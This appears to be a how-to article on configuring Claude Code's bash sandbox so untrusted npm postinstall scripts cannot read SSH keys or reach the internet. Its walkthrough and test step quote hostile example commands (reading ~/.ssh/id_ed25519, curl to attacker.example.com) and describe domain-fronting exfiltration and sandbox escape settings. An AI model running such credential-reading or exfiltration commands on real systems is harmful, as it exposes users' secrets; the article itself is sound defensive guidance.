AnswerQA

How do I run untrusted `npm install` without my SSH keys leaking?

Answer

Claude Code's bash tool can run inside an OS-level sandbox (Seatbelt on macOS, bubblewrap on Linux/WSL2) that restricts filesystem and network access. Here's how to enable it, the configuration that matters, and the network-isolation footgun that catches people.

By Kalle Lamminpää Verified May 5, 2026

The threat model is simple and uncomfortable: Claude is about to run npm install on a project you don’t fully trust. Postinstall scripts execute arbitrary code with your user’s permissions. That code can read ~/.ssh/id_ed25519 and POST it anywhere on the internet. The default permission flow asks before running npm install, but once you approve, the OS still gives that subprocess full reign.

Claude Code’s sandboxed bash tool puts that subprocess inside an OS-level cage instead. Subprocess writes narrow to the project directory (reads stay broad unless you explicitly deny them). Network access narrows to a domain allowlist enforced by a proxy. The cage applies to every child process — npm, node, kubectl, terraform, anything spawned underneath.

This is how to turn it on, what to configure, and the one footgun that genuinely catches people.

1. Install the kernel bits (Linux/WSL2 only)

macOS uses the built-in Seatbelt framework — no install needed.

Linux and WSL2 use bubblewrap for filesystem isolation and socat for the proxy:

# Ubuntu/Debian
sudo apt-get install bubblewrap socat

# Fedora
sudo dnf install bubblewrap socat

WSL1 isn’t supported — bubblewrap needs Linux namespace primitives that WSL1 doesn’t expose. If /sandbox reports Sandboxing requires WSL2, upgrade your distro.

2. Turn it on

In a session:

/sandbox

That opens a menu with two modes:

  • Auto-allow mode. Bash commands run inside the sandbox without per-command approval. Commands that can’t be sandboxed (because they need network access to a non-allowed host, or a tool you’ve explicitly excluded) fall back to the regular permission flow. This is the productive default.
  • Regular permissions mode. Sandbox is on, but you still approve every command. Use this when you want maximum control during a high-stakes task.

Both modes enforce the same boundaries; the only difference is whether sandboxed commands are auto-approved.

If you want sandboxing to be a hard requirement — typically in managed deployments — set sandbox.failIfUnavailable: true so missing dependencies abort the session instead of silently disabling the cage.

3. Configure the boundaries you actually need

.claude/settings.json (committed for the team, or .claude/settings.local.json for personal):

{
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "allowWrite": ["~/.kube", "/tmp/build"],
      "denyRead": ["~/"],
      "allowRead": ["."]
    },
    "network": {
      "allowedDomains": ["registry.npmjs.org", "registry.yarnpkg.com"]
    }
  }
}

What each block does:

  • allowWrite adds paths Claude’s subprocess can write to outside the project root. By default subprocess writes are limited to the current working directory; if kubectl legitimately needs ~/.kube/cache/, name it explicitly here.
  • denyRead + allowRead together create a “block the home directory but re-allow the project” region. Reads default to permissive (read-the-whole-computer); this flips that for the home directory specifically. The . in allowRead resolves to the project root because the file lives in project settings — see footgun #2.
  • allowedDomains is the network allowlist. Anything not on this list either triggers a permission prompt or fails outright, depending on allowManagedDomainsOnly and your sandbox mode.

When the same key appears in multiple settings layers (managed → user → project → local), arrays merge rather than override. Managed policy can pin ["/opt/company-tools"] and a project can extend with ["~/.kube"]; both end up in the final config. This is the additive case — managed denyWrite / deniedDomains rules also merge, and those can break a project’s expected workflow if the managed layer tightens beyond what the project assumed.

4. The npm install walkthrough

The motivating example, end to end. The goal: let Claude run npm install on a freshly-cloned untrusted repo, and have a postinstall script trying to exfiltrate your SSH keys fail.

Settings:

{
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "denyRead": ["~/.ssh", "~/.aws", "~/.gnupg", "~/.config/gh"]
    },
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "registry.yarnpkg.com",
        "github.com"
      ]
    }
  }
}

In the session:

Clone https://github.com/example-org/sketchy-tool, run npm install and npm test, summarize what the test suite checks, but don’t trust the code — keep everything sandboxed.

What the sandbox does:

  1. Claude runs git clone — the proxy sees github.com on the allowlist, fine.
  2. Claude cds in and runs npm install. npm hits registry.npmjs.org, also allowed.
  3. A postinstall script attempts cat ~/.ssh/id_ed25519 — Seatbelt/bubblewrap blocks the read. The script gets Permission denied.
  4. The postinstall script tries to fall back: curl https://attacker.example.com/steal — the proxy refuses because the domain isn’t on the allowlist. Connection fails.
  5. npm test runs. The test runner reads files inside the project directory (allowed) and writes to node_modules/.cache (allowed because it’s inside cwd).

Claude reports a clean summary; your SSH key never leaves disk.

To verify the cage by hand, prove the boundaries directly inside a session:

Run cat ~/.ssh/id_ed25519 2>&1 || echo BLOCKED and curl -sS https://attacker.example.com 2>&1 || echo BLOCKED. Both should print BLOCKED.

If they don’t, your config isn’t doing what you think it is.

Footguns

The proxy doesn’t terminate TLS. This is the big one. The built-in proxy makes its allow decision from the client-supplied hostname (the SNI / Host header). It does not decrypt traffic. That means once you allow github.com, code inside the sandbox can use domain fronting to route an exfiltration request through github.com’s IP and reach an attacker-controlled origin behind a CDN that fronts on the same edge. Anthropic documents this directly: “Allowing broad domains such as github.com can create paths for data exfiltration.” If your threat model requires real isolation, plug a TLS-terminating proxy into the httpProxyPort / socksProxyPort settings and install its CA inside the sandbox. Otherwise, treat the network isolation as “blocks accidents, won’t stop a determined attacker” and pair it with filesystem deny rules on anything genuinely sensitive.

allowWrite on a directory in $PATH is privilege escalation. If you grant write access to /usr/local/bin or any directory whose binaries other processes execute, you’ve just let any sandboxed command rewrite those binaries. Same with ~/.bashrc, ~/.zshrc, .git/hooks/ in important repos, anything cron reads, anything systemd reads. Sandbox writes inherit at the OS level, so they affect the whole user’s environment, not just Claude’s view. Be specific. ~/.kube is fine; ~ is not.

Unix socket allowlists can break out of the cage. On macOS, network.allowUnixSockets: ["/var/run/docker.sock"] looks innocent and lets you run docker commands from inside the sandbox — but docker.sock is effectively root on the host. Anything with that socket can mount the host filesystem inside a privileged container and escape. Same risk with the systemd socket, the Wayland compositor socket, and any IPC socket that exposes services running as a different user. (On Linux/WSL2 the equivalent setting is network.allowAllUnixSockets, which is even broader — it grants access to every Unix socket on the host. Avoid unless you’ve thought hard about every socket the user has open.) If you need a tool that depends on a Unix socket, prefer adding the tool itself to excludedCommands — which sends it through the regular permission flow outside the sandbox — over loosening the socket policy.

The escape hatch exists by design. When a sandboxed command fails, Claude can retry with a dangerouslyDisableSandbox parameter, which sends the command through the normal permission flow outside the cage. You’ll get a permission prompt for it — but if you’re click-happy, you’ve just bypassed everything. Set sandbox.allowUnsandboxedCommands: false to disable the escape hatch entirely, or train yourself to read the prompt. The fact that something failed in the sandbox is usually the signal you wanted; don’t reflexively unblock it.

bypassPermissions mode now bypasses protected-path writes too. Older blog posts may say that even --dangerously-skip-permissions still protects .git, ~/.ssh, and similar. As of v2.1.126, that protection was removed. If you’re running with bypassPermissions, sandboxing is the only thing standing between Claude and your home directory. Worth knowing before you add either flag to a CI script.

Linux’s enableWeakerNestedSandbox is real and worse. This option exists so the sandbox can run inside a non-privileged Docker container (where the kernel namespaces it would otherwise use are unavailable). It “considerably weakens security” per Anthropic’s own doc. Only enable it inside a container that already provides isolation; don’t use it on a host you care about.

When NOT to use this

  • You’re running tools the sandbox actively breaks. docker, watchman, anything that needs Windows binaries on WSL2. Rather than fighting with the sandbox, add them to excludedCommands so they run outside the cage and go through the normal permission flow. Better than disabling sandboxing entirely.
  • You’re already in a disposable environment. A fresh devcontainer, a CI runner that’s torn down after the job, an ephemeral VM — these already provide isolation at a coarser level. Sandboxing inside them mostly just adds friction. The sandbox composes with dev containers (the canonical doc covers the layering); use whichever is the outer boundary you actually trust.
  • Your threat model needs TLS inspection. The default proxy doesn’t terminate TLS. If you genuinely need to inspect outbound traffic, the right answer is a custom proxy with its CA installed in the sandbox — not enabling sandboxing and assuming it stops exfiltration. Doing the latter gives you a false sense of security.
  • You’re using built-in file tools, not bash. The sandbox isolates bash subprocesses. Read, Edit, Write, WebFetch, MCP tool calls — those run through the permission system instead. If your concern is “what files Claude reads,” configure Read(...) deny rules; sandboxing won’t help.
  • You’re on WSL1. Upgrade to WSL2 or accept that this isn’t going to work.

Sources

Was this helpful?